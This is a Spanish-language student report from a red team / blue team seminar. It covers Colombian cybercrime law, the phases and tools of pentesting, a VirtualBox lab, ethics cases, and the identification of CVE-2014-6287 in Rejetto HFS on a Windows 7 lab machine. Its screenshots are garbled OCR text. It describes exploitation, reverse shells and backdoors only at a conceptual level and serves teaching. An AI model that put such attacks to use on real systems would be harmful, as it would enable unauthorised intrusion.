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RESUMEN

Se buscar presentar por medio de este documento un resumen de las diferentes
etapas trabajadas durante el seminario especializado red team & blue team, donde
se busco plantear diferentes escenarios en los cuales un especialista de seguridad
debe desarrollar al maximo sus conocimientos capacidades técnicas asi como
demostrar la experiencia para llevar a cabo, lograr identificar asi como para buscar
soluciones que conlleven a la solucién de diferentes escenarios donde involucran
sistemas operativos, aplicaciones y las muy diferentes vulnerabilidades y
amenazas que se puedan presentar en este tipo de sistemas.



ABSTRACT

Through this document, the aim is to present a summary of the different stages
worked during the course of the specialized seminar red team & blue team, where
it was sought to propose different scenarios in which a security specialist must
develop their knowledge and technical capabilities to the maximum in order to
demonstrate the experience to carry out a task, to identify as well as to look for
solutions that entail a solution of different scenarios involving operating systems,
applications and the very different vulnerabilities and threats that can occur in this
type of system.



GLOSARIO

BLUETEAM: Se trata de un grupo de especialistas en seguridad que rastrean
ciberincidentes y realizan andlisis de los sistemas para garantizar la seguridad,
identificar posibles fallos, verificar la efectividad de cada medida y que asegurar
gue todas las medidas sean efectivas tras su implantacion

REDTEAM: Los Red Teams emulan a los atacantes, utilizando sus mismas
herramientas o similares, explotando las vulnerabilidades de seguridad de los
sistemas y/o aplicaciones (exploits), técnicas de pivoting (saltar de una maquina a
otra) y objetivos (sistemas y/o aplicaciones) de la organizacion

AMENAZA: toda accién que aprovecha una vulnerabilidad para atentar contra la
seguridad de un sistema de informacion

INFORMACION: Activo intangible en el cual se manejan identificaciones, datos
personales, cuentas, datos empresariales y corporativos, propiedad intelectual,
conocimiento comercial, formulacién de productos o servicios.

VULNERABILIDAD: es una debilidad o fallo en un sistema de informaciéon que
pone en riesgo la seguridad de la informacion pudiendo permitir que un atacante
pueda comprometer la integridad, disponibilidad o confidencialidad de la misma.

MAQUINA VIRTUAL: Entorno de virtualizacion mediante el uso de diferentes
herramientas las cuales permiten a partir de un solo dispositivo fisico contar con
particiones virtuales en las cuales pueden convivir diferentes sistemas operativos,
de este modo se pueden realizar pruebas de vulnerabilidad a aplicaciones y
archivos.

EXPLOIT: Uso de la vulnerabilidad en una aplicacién, sistema informéatico, archivo,
la cual se aprovecha de manera no autorizada.

METASPLOIT: Metasploit Framework es una plataforma modular de pruebas de
penetracion basada en Ruby que le permite escribir, probar y ejecutar cédigo de
explotacion. Metasploit Framework contiene un conjunto de herramientas que
puede utilizar para probar vulnerabilidades de seguridad, enumerar redes, ejecutar
ataques y evadir la deteccion

METERPRETER: Meterpreter es un payload de Metasploit que proporciona un
shell interactivo desde el cual un atacante puede explorar la maquina objetivo y
ejecutar caédigo.



INTRODUCCION

El siguiente trabajo estd enfocado en buscar e identificar las principals causas y
consecuencias que se pueden presenter ante un evento o incidente de seguridad.

Actualmente las diferentes organizaciones encuentran que la informacion y la
seguridad de la misma es uno de los activos mas importantes, razon por la cual se
deben evaluar los diferentes riesgos a los cuales estd expuesta y comprometida;
de alli que sea tan necesario actualmente protegerla y brindarle un adecuado
aseguramiento.

Se busca fortalecer los entornos de seguridad por medio de pruebas o laboratorios
controlados o de diferentes herramientas para encontrar vacios o huecos en la
seguridad y asi salvagurdar o mejorar la proteccion para poder tener citerios y
optar por medidas de seguridad mas confiables y dinamicas.

En el entorno actual se presentan multiples fuentes de informacién confiable para
contrarrestar las amenazas o atagues que se presentan a diario a nivel global;
estas medidas se deben estar actualizando ya que dia a dia tambien se presentan
nuevas amenazas y vulnerabilidades. Los sistemas informaticos son expuestos en
gran mayoria a fuentes de amenaza nuevos que se debe estar atento a mitigar o
corregir la vulnerabilidad.



DEFINICION DEL PROBLEMA

Las diferentes empresas u organizaciones actualmente se encuentran expuestas a
diferentes amenazas y vulnerabilidades en sus servicios informaticos esto se
encuentra en constante crecimiento y actualizacion debido al desarrollo constante
de software y a la evoluciéon en las diferentes tecnologias de comunicacion razén
por la cual se deben buscar estrategias que permitan identificar los posibles
riesgos y vulnerabilidades para evitar que sea expuesta la informacion o los
sistemas donde se alojen la misma; se busca al final salvaguardar la informacion y
protegerse de los riesgos actuales externos.



JUSTIFICACION

Actualmente la informacion es el activo mas valioso activo del cual depende el
buen funcionamiento de wuna organizacion. Mantener su integridad,
confidencialidad y disponibilidad es esencial. Por esa razén, desde tiempos
anteriores las organizaciones han puesto los medios necesarios para evitar el robo
y manipulacion de sus datos confidenciales. Desafortunadamente, es
relativamente sencillo por las diferentes amenazas y vulnerabilidades tener acceso
a las herramientas que permiten a personas no autorizadas llegar hasta la
informacion protegida, con poco esfuerzo y conocimientos, causando graves
consecuencias para una organizacion ya sea desde el tipo de credibilidad como
del tipo legal

Para salvaguardar la informacion el area de seguridad informatica de una
compafia debe contar con criterios como conocimientos y practica para llevar a un
buen nivel de proteccion la organizacion y asi evitar posibles ataques e
infiltraciones de seguridad.



1. OBJETIVOS
1.1 Objetivo General

Identificar y conceptualizar las diferentes tematicas practicas y conceptuales
logrando alcanzar un desarrollando y su vez destrezas para determinar posibles
amenazas como vulnerabilidades, para también llegar a determinar futuras
contenciones o0 mejoras en la seguridad.

1.2 Objetivos especificos

e Identificar los diferentes aspectos legales involucrados referentes a la
seguridad de la informacion en Colombia

e Realizar y ejecutar un entorno de prueba virtual para detallar y hacer
uso de las diferentes herramientas propuestas.

e Saber diferenciar los diferentes contextos involucrados en las tematicas
vistas como distinguir las vulnerabilidades, medidas de mitigacion

e Conocer e identificar en ambientes controlados fallos de seguridad
especificos que se manipular y detallar en un ambiente de pruebas.

e Documentar los pasos especificos para llegar a encontrar el fallo o fallos
de seguridad en los entornos de prueba planteados

e Corregir y mitigar posibles vulnerabilidades mediante Harding del
sistema propuesto e investigado



2. DESARROLLO DEL INFORME

2.1 Acciones referente a conceptos equipos de seguridad

Dentro del margen legal en Colombia sobre delitos informaticos y proteccion
de datos personales redacte con sus propias palabras que legislacion
“leyes, decretos” existen actualmente y las caracteristicas principales de
cada ley.

De las principales y actualizadas hago referencia a 1 especificamente:
Ley 1273 de 2009 el cual es relacionado a:

Capitulo 1ro: hace relacién a la Proteccion de la informacion y de los datos y sus
puntos principales:

Articulo 269a. Acceso abusivo a un sistema informatico
El que acceda a un recurso informéatico asegurado sin autorizacion incurrira en
pena de céarcel o multa en dinero

Articulo 269b. Obstaculizacion ilegitima de sistema informatico o red de
telecomunicacion

El que impida o detenga el funcionamiento o el acceso normal a un sistema
informéatico, a los datos informéticos alli contenidos, o a una red de
telecomunicaciones, incurrird en pena de céarcel o multa en dinero

Articulo 269c. Interceptacion de datos informéaticos

El que, sin orden judicial previa intercepte datos informaticos en su origen, destino
o en el interior de un sistema informatico, o las emisiones electromagnéticas
provenientes de un sistema informético que los trasporte incurrira en pena de
carcel.

Articulo 269d. Dafio informatico

El que, sin estar facultado para ello, destruya, dafe, borre, deteriore, altere o
suprima datos informaticos, o un sistema de tratamiento de informacion o sus
partes o componentes légicos, incurrird en pena de carcel o multa

Articulo 269e. Uso de software malicioso
El que, sin estar facultado para ello, produzca, trafique, adquiera, distribuya,
venda, envie, introduzca o extraiga del territorio nacional software malicioso u
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otros programas de computacion de efectos dafiinos, incurrira en pena de carcel
o multa.

Articulo 269f. Violacion de datos personales

El que, sin estar facultado para ello, con provecho propio o de un tercero, obtenga,
compile, sustraiga, ofrezca, venda, intercambie, envie, compre, intercepte,
divulgue, modifigue o emplee cddigos personales, datos personales contenidos en
ficheros, archivos, bases de datos o medios semejantes, incurrirh en pena de
carcel o multa

Articulo 269¢g. Suplantacion de sitios web para capturar datos personales

El que con objeto ilicito y sin estar facultado para ello, disefie, desarrolle, trafique,
venda, ejecute, programe 0 envie paginas electronicas, enlaces o ventanas
emergentes, incurrird en pena de carcel o en multa. En la misma sancion incurrira
el que modifique el sistema de resolucién de nombres de dominio, de tal manera
gue haga entrar al usuario a una IP diferente en la creencia de que acceda a su
banco o a otro sitio personal o de confianza, siempre que la conducta no
constituya delito sancionado con pena mas grave. la pena sefialada en los dos
incisos anteriores se agravara de una tercera parte a la mitad, si para consumarlo
el agente ha reclutado victimas en la cadena del delito

Capitulo 2do: De las atentados informéaticos y otras infracciones

Articulo 2691. Hurto por medios informéticos y semejantes
El que, superando medidas de seguridad informéticas, realice la conducta
sefialada en el articulo 239 manipulando un sistema informético, una red de
sistema electronico, telemético u otro medio semejante, o suplantando a un
usuario ante los sistemas de autenticacion y de autorizacién establecidos, incurrird
en las penas sefialadas en el articulo 240 de este Codigo.

Articulo 269j: transferencia no consentida de activos

El que, con animo de lucro y valiéndose de alguna manipulacion informética o
artificio semejante, consiga la transferencia no consentida de cualquier activo en
perjuicio de un tercero, siempre que la conducta no constituya delito sancionado
con pena mas grave. La misma sanciéon se le impondrd a quien fabrique,
introduzca, posea o facilite programa de computador destinado a la comision del
delito.

En el mundo de la ciberseguridad existen procesos definidos para poder
ejecutar de forma organizada lo que se conoce como pruebas de penetracion
0 pentesting; estas son las etapas del pentesting,
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Etapas de un pentesting

+ Contacto: es la fase inicial donde se acuerdan los alcances y en que va a
consistir especificamente el pentest, definiendo los objetivos y cuéles son los
servicios mas criticos a revisar; asi como para obtener la autorizaciéon por
escrito de los acuerdos y limitantes.

La herramienta que se puede utilizar para esta fase seria cualquier editor de
texto o programa para definir cronogramas como Project o hoja de calculo

+ Fase de recoleccion de informacion: es la fase del pentest donde se dedicara
tiempo para obtener la mayor informacion posible del cliente esto mediante
arafias o de scanners para tener una idea de los sistemas; también se realiza
ingenieria social enfocada a empleados asi como a sus redes sociales.

La herramienta que se puede utilizar para esta fase, seria Web Crawler una
arafia Web basada en Python, orientado a ayudar en las tareas de test de
penetracion

+ Fase de modelado de amenaza: es la fase en la que se debe analizar la
informacion recolectada y pensar como si fuera atacante como utilizarla asi
como buscar la estrategia de penetracion. Esto se debe definir con detalle para
saber como poder llegar a los objetivos planteados, en resumen plantearse la
estrategia.

La herramienta que se puede utilizar para esta fase, seria Tutamen donde se
pueden modelar las amenazas.

+ Fase de andlisis de vulnerabilidades: es la fase en la que como su nombre lo
indica se deben identificar de forma proactiva las vulnerabilidades. En esta fase
es cuando se valida la habilidad del pentester para seleccionar y utilizar
correctamente las herramientas a su disposicion y asi conseguir objetivos
establecidos.

La herramienta que se puede utilizar para esta fase, seria Nessus

+ Fase de explotacion: es la fase donde se consigue acceso a los sistemas
objetivo del test de penetracion planteado, para esto se ejecutaran exploits
contra las vulnerabilidades identificadas en las fases anteriores o se utilizaran
credenciales obtenidas para ganar acceso a los sistemas

La herramienta que se puede utilizar para esta fase, Metasploit



+ Fase de post-explotacion: es la fase donde luego de haber intentado la
explotacion inicial se busca recavar sobre otras vulnerabilidades o de realizar
pasos laterales con credenciales o con accesos conseguidos.

La herramienta que se puede utilizar para esta fase, podria ser un Backdoor o
un Keylogger

+ Fase de informe: es la fase donde se presentan los resultados de lo obtenido,
se pueden presentar 2 tipos de informes uno técnico para los administradores
de la infraestructura y el sistema y otro informe ejecutivo para los directivos.

Las herramientas de ciberseguridad son de vital importancia, ademas que
existe un gran abanico de posibilidades de herramientas existentes y
software especializado para desarrollar herramientas propias. se muestran
las siguientes que se pueden utilizar:

Herramientas

+ Metasploit: es una herramienta para desarrollar y ejecutar un ataque contra
una vulnerabilidad encontrada en una maquina remota, permite también
realizar auditorias de seguridad, asi como probar y desarrollar sus propios
exploits. Un metasploit puede realizar muchas cosas entre las cuales puede
escanear y recopilar toda la informacién de una maquina, identificar y explotar
vulnerabilidades, realizar escalamiento de privilegios y robo de datos,
instalacion de una puerta trasera, fuzzing asi como eliminacion de registros y
trazas

+ Nmap: es una herramienta de cddigo abierto para escaneo de red y auditoria
de seguridad. Se disefi®6 para analizar rdpidamente grandes redes, aunque
funciona muy bien contra equipos individuales. Nmap utiliza paquetes IP
"crudos" en formas originales para determinar qué equipos se encuentran
disponibles en una red, qué servicios (nombre y version de la aplicacion)
ofrecen, qué sistemas operativos (y sus versiones) ejecutan, qué tipo de filtros
de paquetes o cortafuegos se estan utilizando asi como otras muchas
caracteristicas. Tambien puede testear la seguridad de diversos sistemas
informaticos, descubriendo servicios u ordenadores conectados a una red para
intentar conseguir informacion sobre ellos y ver algunas posibles
vulnerabilidades o puntos de entrada.

+ OpenVas: inicialmente denominado GNessUs, es una suite de software, que
ofrece un marco de trabajo para integrar servicios Yy herramientas
especializadas en el escaneo y gestion de vulnerabilidades de seguridad de
sistemas informaticos. A traves de las interfaces se interactta con dos
servicios: OpenVAS Manager y OpenVAS Scanner. El gestor es el servicio que
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lleva a cabo tareas como el filtrado o clasificacion de los resultados del
andlisis, control de las bases de datos que contienen la configuracion o los
resultados de la exploracion y la administracion de los usuarios, incluyendo
grupos y roles. Por su lado, el escéner ejecuta las denominadas NVT (Network
Vulnerability Tests), es decir, las pruebas de vulnerabilidades de red,
conformadas por rutinas que comprueban la presencia de un problema de
seguridad especifico conocido o potencial en los sistemas. Las NVT se
agrupan en familias de pruebas similares, por lo que la seleccion de las
familias y/o NVT individuales es parte de la configuracion de escaneo

Servicios en linea

+ ExploitDB: es un servicio en linea que es utilizado cuando se encuentran
vulnerabilidades por medio de herramientas como OpenVas y se necesita de
un mecanismo que permita explotarla, es ExploitDB una suite que centraliza
todos los exploits que se pueden utilizar para explotar esa vulnerabilidad,
haciendo el trabajo mas accequible. Entrando al sitio web de la herramienta
https://www.exploit-db.com/ lo primero que se encuentra es el buscador de
vulnerabilidades el cual permite colocar filtros como el tipo (local, remoto,
webapps), plataforma (Android, ASP etc.), Autor, Puerto y tag (Console, Cross
Site Scripting) al encontrar la vulnerabilidad podemos abrirla y descargar el
exploit, inclusive indica si exploit-db ya verificé si el exploit funciona o no.

+ CVE: Es un servicio que se encarga de recopilar las fallas de seguridad en los
sistemas informéaticos, permitiendo priorizarlos y solucionarlos o mas pronto
posible, almacena y organiza las fallas de una manera estandar ayudando a
profesionales y organizaciones encontrar la informacion mas répido, esta
herramienta no aporta datos técnicos o como se debe solucionar falla de
seguridad (impacto, solucion etc.), para esto se deben utilizar otro tipo de
herramientas, CVE asigna a cada falla un numero de identificacién, una
caracteristica es que cualquier usuario o0 empresa podria reportar un fallo de
seguridad, CVE clasifica la vulnerabilidad en una escala de 0 a 10. El nimero
CVE asignado a las fallas de seguridad es de la siguiente manera CVEYYYY-
NNNNN45

Se creo un “banco de trabajo” para tener el Escenario sobre el cual se
probaran los puntos tecnicos
El escenario es el siguiente:

Paso A: Descargar la herramienta virtualizadora “VirtualBox” en su ultima
version.



Paso B: Una vez se realice apertura del foro para el desarrollo de la
actividad se procederd a compartir enlace de descarga de lo requerido
para el montaje del banco de trabajo, las imagenes en formato .OVA las
cuales se encuentran ya preconfiguradas para ser utilizadas en las
actividades de caracter técnico. En las imagenes .OVA existe: Un

Figura 2.1 Instalacion de VirtualBox

@ Cracle VM VirtuzalBox Adrministrador

Archive Magquina Ayuda

@ W v .

Mueva Configuradon CDCescartar Inidar

windows 7 X86, un windows 7 X64, un Kali Linux.

Mombre

Figura 2.2 Descarga de medios

Fecha de modificacion
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W win7-SE2020
W Win7-SE2020-X64

rn

28/08,/2021 09:05 a.m.
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Figura 2.3 Importando Kali

Estas son las maguinas virtuales contenidas en el serviao ¥ 1as preferendas sugendas de 1as maguinas

cli

101

I‘l:' Importando servicio virtualizado ... Imperting appliance 'DAMaguin...

Importing wirtual disk image 'Kali - Seminario-disk00 1.vmdk’ ... (2/2)

Tiempo restante: 7 minutos

F | ﬂ Cnantraladar de alfmacenamientn MMATAY  AHCT
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Figura 2.4 Inicio de maquinas virtuales
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Paso C: Debe validar que exista comunicacion entre cada una de las
maquinas Windows con la maquina de Kali Linux, recuerde por favor no
encender las tres maquinas al tiempo ya que puede colapsar los recursos
hardware de su equipo host, encienda primero una maquina Windows y
posterior a ello encienda la maquina Kali Linux.

Figura 2.7 Asignacion y toma de IPs maquinas virtuales
Kalil92.168.0.26

R emmPk2c| [ ) kali@kali: ~ 09:01PM O

i leali@ kali: ~

File Actions Edit View Help

mtu 1500
broadcast 192.168
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inets fe { 3d9 prefixlen 64 scopeid
inets 2 L F:c@@ )7ff:fe99:a3d9 prefixlen 64 scopeld 0=0

Figura 2.8 Pc202006 Toma IP
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Servidor DHCP = 192.168.8.1
IAID DHCPuG : 235485351
DUID de cliente DHCPuh : B8-A1-BA-81-26—88-7D-18-8A8—AA—-27—
72-88-CA
Servidores DNS - 2800:4BA:ff78:5::2
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Figura 2.9 Win7 Toma IP
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Puerta de enlace predeterminada - - - = feBB::ad5:9dff:feB4:22acxil
192.168.8.1

Servidor DHCP . . _ . _ . _ . . : 192.168.8.1

IAID DHCPwG . . . . . . . . . . = 2354@5351
on gglggde cliente DHCPva. . . . . : AP-A1-88-81-24-F1-D4-48-B8 0627

Firefox

. 0O ¢ =|=E] %0 @

Figura 2.10 Comunicacion desde el Kali a las Windows

a2 (2] ) kali@kali: ~ )9:05 PM 3
kali@ kali: ~ sy

Actions Edit WView Help

Trom
from
from
Trom
from
from
from
trom
from

el ol =l T

(L
HHEHEHEREPRPR

f
L1 I

|

from
from
from
from
Trom
from

=4
=i
=4
=4
=4
5
S

m

C:sUserssusuvario *hostnane
win?

C:sUzerssusuariorping 192168 .8.26

ping a 192.168.8.26 con 32 hytes de datos:

desde 192.168_.8_26: bytesz=32 tiempo<im TTL=64
desde 192.168.8.26: hytesz=32 tiempo<{im TTL=64
desde 172.168_.8_26: bytes=32 tiempo<im TTL=64
desde 192.168.8.26: hytesz=32 tiempo<{im TTL=64
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C:sUzerssusznario *hostnane
PC2E2666

C:sUserssusuariorping 192.168.8.26

122.168.8.26 con 32 bytes de datos:

1922.168.8.26: hytez==32 tiempo<im TTL=64
122.168.8.26: bytes=32 tiempo<im TTL=64
192.168.8.26: hyte==32 tiempo<im TTL=64
1922.168.8.26: hytes=32 tiempo<im TTL=64

2.2 Acciones de actuacion éticay legal

Dentro de que se logra evidenciar hay procesos ilegales y no éticos que se
esté estipulando en dicho acuerdo?

Se realiza lectura a los documentos indicados y segun criterio propio creo que lo
siguiente no aplica como ético para lo referente a las clausulas de
confidencialidad:

Respecto a las consideraciones
o Punto 2: se habla que la informacion fue obtenida legalmente por parte
de WhiteHouse Security > esto no es comprobable en el momento de la
firma del acuerdo por parte de la parte receptora

Respecto a las clausulas

o Primera Objeto: se refieren a la confidencialidad de la parte receptora >
en este punto se habla de que también deben guardar confidencialidad
a procesos ilegales dentro de WhiteHouse Security no es punto ético y
va en contra de los principios que deberian tener una organizaciéon

o Segunda definicién de informacion confidencial > en este punto se habla
de datos de chuzadas, interceptacion de informacion, accesos abusivos
a sistemas informéticos temas e informaciébn no éticos y que una
compafia no deberia tener por mas que sea una empresa de
ciberseguridad.

o Tercera origen de la informacion confidencial > no es claro el texto pero
por lo que se entiende tampoco aplicarian temas que se definen como
creaciones de intelecto de los documentos sin importar que se requiera
definir el caracter confidencial.

o Cuarto obligaciones de la parte receptora > Puntos 3 y 4 donde hacen
referencia a No denunciar y abstenerse de denunciar actividades
sospechosas e informacion ilegal; actividades no éticas dentro de una
organizacion la cual va en contra de los principios organizacionales.
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o Cuarto obligaciones de la parte receptora > Puntos 7, 8 y 9 donde se
habla de responder por el mal uso que le den los representantes de
WhiteHouse a la informacion confidencial y de responder ante las
autoridades competentes como responsable en caso de que la
informacion se encuentre en su poder dentro de un proceso de
allanamiento; un puede ser que un estudiante y/o cualquier persona en
una organizacion tenga que responder por las malas practicas de la
organizacion.

o Octava solucién de controversias > donde se habla de que en caso que
la informacion ilegal o confidencial sea encontrada en manos del
receptor este deberd acudir a un abogado privado y dejar exenta de
cualquier responsabilidad legal y penal a Whitehouse Security; este tipo
de acuerdos no se ven lo mas legales para que un estudiante tenga que
responder por las préacticas ilegales de la organizacion.

Si la respuesta es afirmativa y usted encontré algun proceso ilegal en el
anexo 3 - Acuerdo debera mencionar que articulos de la ley 1273 se podrian
vulnerar en dicho acuerdo y especificar porqué vulnera articulos de la ley
1273.

Si se encuentran procesos ilegales en el acuerdo anexo 3 los cuales si
vulneran la ley 1273 como los siguientes:

o Articulo 269F. Violacion de datos personales > lo vulnera cuando se
hace referencia a que sacan provecho propio de la informacién que
llegaran a tener por medios no éticos.

o Articulo 269H. Circunstancias de agravacion punitiva > ya que se indica
que aprovechando la confianza depositada por el poseedor de la
informacion o por quien tuviere un vinculo contractual con este genere
ganancias y con la informacion, revele o de al conocer el contenido de la
informacion en perjuicio de otro y tambien obteniendo provecho para si
mismo o para un tercero

o Articulo 2691. Hurto Por Medios Informaticos Y Semejantes > este es
vulnerado ya que como se indca en el acuerdo en algin momento
sustrain informacién de chuzadas interceptando informacion de una
manera no concentuada.

¢Existiendo procesos poco confiables en el anexo 3 — Acuerdo? usted como
experto en ciberseguridad aplicaria a este trabajo en The WhiteHouse, donde
la organizacion dispone de un sueldo de $15.000.000 de pesos colombianos
mensuales y contrato vitalicio? Debe argumentar su respuesta ya sea
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afirmativa o negativa y tener en cuenta en la argumentacion lo que se
dispone en COPNIA en su cddigo de ética para ingenieros.

El salario es llamativo, pero de mi parte no aceptaria la propuesta laboral
inicialmente por mi ética moral y por lo que me han inculcado desde nifio
respecto a valores y luego por la ética profesional que conlleva segun el codigo
de COPNIA:

o El ejercicio profesional de la Ingenieria en todas sus ramas, de sus
profesiones afines y sus respectivas profesiones auxiliares, debe ser
guiado por criterios, conceptos y elevados fines, que propendan a
enaltecerlo; por lo tanto debera estar ajustado a las disposiciones de las
siguientes normas que constituyen su Cadigo de Etica Profesional.

o Articulo 35. Deberes de los profesionales para con la dignidad de sus
profesiones. Son deberes de los profesionales de quienes trata este
Cddigo para con la dignidad de sus profesiones: a) Sentencia C-570 de
2004, Corte Constitucional. Inexequible. Contribuir con su conducta
profesional y con todos los medios a su alcance para que en el
consenso publico se preserve un exacto concepto de estas profesiones,
de su dignidad y del alto respeto que merecen; b) Respetar y hacer
respetar todas las disposiciones legales y reglamentaras que incidan en
actos de estas profesiones, asi como denunciar todas sus
transgresiones; c) Velar por el buen prestigio de estas profesiones; 11
Cadigo de Etica d) Sus medios de propaganda deberan ajustarse a las
reglas de la prudencia y al decoro profesional, sin hacer uso de medios
de publicidad con avisos exagerados que den lugar a equivocos sobre
su especialidad o idoneidad profesional.

Adicional a lo anterior tambien se afectaria y se entienden por faltas gravisimas
dentro del codigo:

Se refiere a este texto en detalle segun el codigo; no se cambia para dar claridad a

lo que se quiere indicar
o Se constituyen en causal de cancelacion de la matricula profesional, sin
requerir la calificacion que de ellas haga el Consejo respectivo, las
siguientes faltas: 17 Codigo de Etica a) Derivar, de manera directa o por
interpuesta persona, indebido o fraudulento provecho patrimonial en
ejercicio de la profesién, con consecuencias graves para la parte
afectada; b) Obstaculizar, en forma grave, las investigaciones que
realice el Consejo Profesional de Ingenieria respectivo; ¢) Abandono
injustificado de los encargos o compromisos profesionales, cuando con
tal conducta causen grave detrimento al patrimonio econdémico del
cliente o se afecte, de la misma forma, el patrimonio publico; d) La
utilizacién fraudulenta de las hojas de vida de sus colegas para
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participar en concursos, licitaciones publicas, lo mismo que para
suscribir los respectivos contratos; e) Incurrir en algan delito que atente
contra sus clientes, colegas o autoridades de la Republica, siempre y
cuando la conducta punible comprenda el ejercicio de la ingenieria o de
alguna de sus profesiones auxiliares; f) Cualquier violacion gravisima,
segun el criterio del Consejo respectivo, del régimen de deberes,
obligaciones y prohibiciones que establecen el Codigo Etica y la
presente ley.

Debera buscar la noticia del caso “OPERACION ANDROMEDA BUGGLY” en
la ciudad de Bogotd, y redactar su punto de vista teniendo en cuenta las
implicaciones legales y éticas que alli se pudieron generar.

Inicialmente BUGGLY se dio a conocer como un sitio donde se apoyaban y
buscaban generar capacitaciones y brindar informacién de ciberseguridad, para
luego convertirse en una especie de club o comunidad de expertos o conocedores
en temas de seguridad informatica brindando su servicios y tambien disfrutando de
un modo light este proceso.

Luego revisando en mas detalle se encontré que todo era parte de la Operacién
Andromeda, una fachada de la Central de Inteligencia Técnica del Ejército
Nacional. Esto se financiaba de fondos de los gastos reservados,. Su mision,
segun la orden de operaciones que le dio origen, era adquirir conocimientos de
informatica del hacking ético.

Esta fachada exigia que Buggly se dedicara, especialmente, a atraer miembros a
la comunidad de hacking ético y a obtener sus conocimientos. Por eso brindaban
fiestas y otoegaban generosidad a los integrantes que llegaban: esto servia para
saber qué alcance o habilidad especifica tenian algunos hackers y luego asi
reclutarlos.

Luego de las investigaciones por parte de la autoridades se encontré6 que se
estaban realizan operaciones no éticas de infiltraciones y toma de datos por medio
de chuzadas, software intrusivo, interceptacion de comunicaciones y software
malicioso.

Segun lo leido e investigado se vulneraron varios codigos éticos asi como se
infringieron varias leyes cibernéticas que estan en la ley 1273 sobre todo porque la
informacion es confidencial si no se tiene el visto bueno para obtenerla; para lo
gue ocurre en este evento es claro que el fin no justifica los medios y mas si es
informacion relevante o que debe ser autorizada su uso o busqueda por una ley
clara.
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2.3 Acciones de pruebas de intrusion

Las herramientas de software para un escenario enfocado a Redteam con las
evidencias utilizadas.

Herramientas utilizadas segun pasos de pentesting:

+ Etapa de recoleccion de informacién > La informacion inicial con la que se
cuenta es que hay una maquina donde se esta generando la fuga de
informacion y en esta maquina tienen instalada una aplicacion llamada rejetto
v. 2.3 bajo un sistema operativo windows 7 con arquitectura X64

+ Etapa de fase de modelado > Se busca plantear la estrategia para encontrar
las mejores opciones y asi modelar las amenazas

+ Etapa de andlisis de vulnerabilidades > Se encuentra que la herramienta que
se indica en el Anexo 4 Rejetto V 2.3 tiene vulnerabilidades referentes a
Ejecucion remota de comandos como se indica en las imagenes y segun su
calificacion

Figura 2.3.1 Vulnerabilidad

e D CVE Dde  #de Tipo (5) de Fechade Fecha de Puntajie  Miwelde  Acceso Complejidad  Autenticacion  Conf,  Integ.  Aprovechar,
(WE  exploits  vulnerabilidad publicacion actualizacion a0ceso ganado
1 CVE-2020-13432 120 2020-06-08  2021-04-06 50 Ninguno Remoto  Bajo  Norequerido Ninguno Minguno  Parcial

rejetto HFS (también conocido como HTTP File Server) v2.3m Bulld # 300, cuando se utlizan archivos o carpetas virtugles, permite & los atacantes remotos desencadenar una infraccion de acceso de escriturs
de puntero no valido & través de solicitudes HTTP smultaneas con un URT [argo o encabezados HTTP largos.

DOEATIE W 1 Codigo gjecutivo 2014-10-10 2014-10-10 75 Ninguno  Remoto  Bajo Norequerido  Parcil  Parcial  Parcial

La funcian de comentario de archivo en Rejetta HTTP File Server (hfs) 2.3cy versiones anteriores permite a los atacantes remotos ejecutar codigo arbitraria cargando un archiva con ciertas secuencias de
bytes UTF-8 no validas que se interpretan como macro simbolos ejecutables,

FOVE-2014-6287 94 0141007 280027202 . Ninguno  Remoto  Bajo Norequerido Completo Complets  Completo

Figura 2.3.1 La principal Vulnerabilidad es la CVE-2014-6287

La funcion findMacroMarker en parserLib.pas en Rejetto HTTP File Server
(aks HFS o HttpFileServer) 2.3x antes de 2.3c permite a atacantes remotos
ejecutar programas arbitrarios a través de una secuencia% 00 en una accion
de busqueda.
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Figura 2.3.2 CVE

i Apps Google ere Web OV () Mesa de Servicios...  [J8 Administracionde.. N Nagios

CVE-2014-6287 Obtenga mas informacién en National Vulnerability Database (NVD)
* Clasificacion de gravedad CVSS e Informacién de correccion + Versiones de software vulnerables s Asignaciones de SCAP  Informacion de CPE

La funcidn findMacroMarker en parserLib.pas en Rejetto HTTP File Server (aks HFS o HttpFileServer) 2.3x antes de 2.3c permite a atacantes remotos ejecutar programas
arbitrarios a través de una secuencia% 00 en una accién de busqueda.

Nota: Las referencias se proporcionan para la conveniencia del lector para ayudar a distinguir entre vulnerabilidades. La lista no pretende ser completa

* CERT-VN: VU # 251276

& URL: http: //www.kb.cert.org/vuls/id/251276
* EXPLOIT-DB: 39161

® URL: https:
s MISC: http:
s MISC: http:
s MISC: http://packetst

s/128243/HttpFileServer-2.3.x-Remote-Command-Execution.html
35122/Rejetto-HTTP-File-Server-2.3.x-Remote-Code-Execution.html
ecurity.com/files/16

4/Rejetto-HttpFileServer-2.3.x-Remote-Command-Execution.html
® MISC: http: //packetstormsecurity.com/files/161503/HFS-HTTP-File-Server-2.3.x-Remote-Code-Execution.htm
® MISC: https: //github.com/rapid7/metasploit-framework/pull/3793

Figura 2.3.2 Etapa de explotacién > en esta se buscara atacar la vulnerabilidad
principal por medio de las diferentes herramientas o comandos como:
o Nmap
o Metasploit
o netstat

A continuacién, se describen los datos que fueron de ayuda para identificar
el fallo de seguridad especifico el cual ataca a la maquina windows 7 X64.

Datos e informacién que ayudan a indentificar el fallo:

+ Sistema operativo W7 el cual es un sistema que desde el 14 de Enero del 2020
no tiene actualizaciones de seguridad por parte del fabricante un riesgo alto a
nivel del sistema

+ Aplicacion instalada Rejetto V 2.3 la cual segun sea revisa es un software que
presenta vulnerabilidades adicional que se usa como file server que como se
entiende puede tener informacion relevante en una organizacion

+ La aplicacién al parecer tiene asociado un exploit que puede terminar en una
Shell reversa y una sesion abierta de meterpreter.

+ La aplicacion en su vulnerabilidad tambien permite realizar escalamiento de
privilegios por medio de la creacibn de un usuario tipo administrador del
sistema

La herramienta que se utilizo para poder identificar los fallos de seguridad
de la “maquina Windows 77? ;Qué puerto abre la aplicacion especifica en el
anexo?

Al tener acceso a la imagen de la maquina segun entrega forense se inicia a
validar directamente en la maquina
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Figura 2.3.3 Hostname

5 Win7-SE2020-X64 [Corriendo] - Cracle VM VirtualBox

Archive Maquina Ver Entrada Dispositivos Ayuda

EM Administrader CAWindowshsystem22%cmd.exe

Figura 2.3.4 Direccion IP

Figura 2.3.5 Puertos abiertos antes de ejecutar el programa

5 Win7-SE2020-X64 [Corriendo] - Oracle WM VirtualBox

Archivo MEguina Wer Entrada Dispositivos Aoruda
BN Administrador ChYWindowshsystem32homd.exe — =F
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Figura 2.3.6 Puertos abiertos

Figura 2.3.6 Puertos abiertos después de ejecutar y de estar activo el programa se
encuentra que abre el puerto 80 al ser http

